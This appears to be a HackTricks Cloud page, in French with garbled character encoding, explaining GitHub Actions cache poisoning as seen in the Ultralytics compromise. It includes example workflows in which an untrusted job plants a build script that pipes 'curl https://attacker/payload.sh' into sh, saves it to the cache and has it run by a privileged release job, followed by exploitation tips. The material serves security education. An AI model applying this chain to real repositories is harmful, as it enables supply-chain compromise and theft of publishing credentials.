GH Actions - Cache Poisoning
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Aperçu
Le GitHub Actions cache est global Ă un dĂ©pĂŽt. Nâimporte quel workflow qui connaĂźt une key de cache (ou des restore-keys) peut peupler cette entrĂ©e, mĂȘme si le job nâa que permissions: contents: read. GitHub ne sĂ©pare pas les caches par workflow, type dâĂ©vĂ©nement, ou niveau de confiance, donc un attacker qui compromet un job Ă faible privilĂšge peut empoisonner un cache quâun privileged release job restaurera ensuite. Câest ainsi que la compromission dâUltralytics a pivotĂ© dâun workflow pull_request_target vers le pipeline de publication PyPI.
Primitives dâattaque
actions/cacheexpose Ă la fois les opĂ©rations de restore et de save (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). Lâappel save est autorisĂ© pour nâimporte quel job sauf lespull_requestworkflows vĂ©ritablement non fiables dĂ©clenchĂ©s depuis des forks.- Les entrĂ©es de cache sont identifiĂ©es uniquement par la
key. Desrestore-keyslarges facilitent lâinjection de payloads car lâattacker nâa besoin que de provoquer une collision sur un prĂ©fixe. - Le filesystem mis en cache est restaurĂ© Ă lâidentique. Si le cache contient des scripts ou des binaries qui sont exĂ©cutĂ©s plus tard, lâattacker contrĂŽle ce chemin dâexĂ©cution.
Exemple de chaĂźne dâexploitation
Author workflow (pull_request_target) a empoisonné le cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Le workflow privilégié a restauré et exécuté le cache empoisonné :
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
Le deuxiÚme job exécute maintenant du code contrÎlé par un attaquant tout en disposant des identifiants de publication (PyPI tokens, PATs, cloud deploy keys, etc.).
Practical exploitation tips
- Ciblez les workflows déclenchés par
pull_request_target,issue_comment, ou des commandes de bot qui sauvegardent encore des caches ; GitHub leur permet dâĂ©craser des clĂ©s applicables Ă tout le dĂ©pĂŽt mĂȘme lorsque le runner nâa quâun accĂšs en lecture au repo. - Recherchez des clĂ©s de cache dĂ©terministes rĂ©utilisĂ©es Ă travers des frontiĂšres de confiance (par exemple,
pip-${{ hashFiles('poetry.lock') }}) ou desrestore-keyspermissifs, puis sauvegardez votre tarball malveillant avant que le workflow privilĂ©giĂ© ne sâexĂ©cute. - Surveillez les logs pour des entrĂ©es
Cache savedou ajoutez votre propre étape de sauvegarde de cache afin que le prochain job de release restaure le payload et exécute les scripts ou binaires trojanized.
References
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

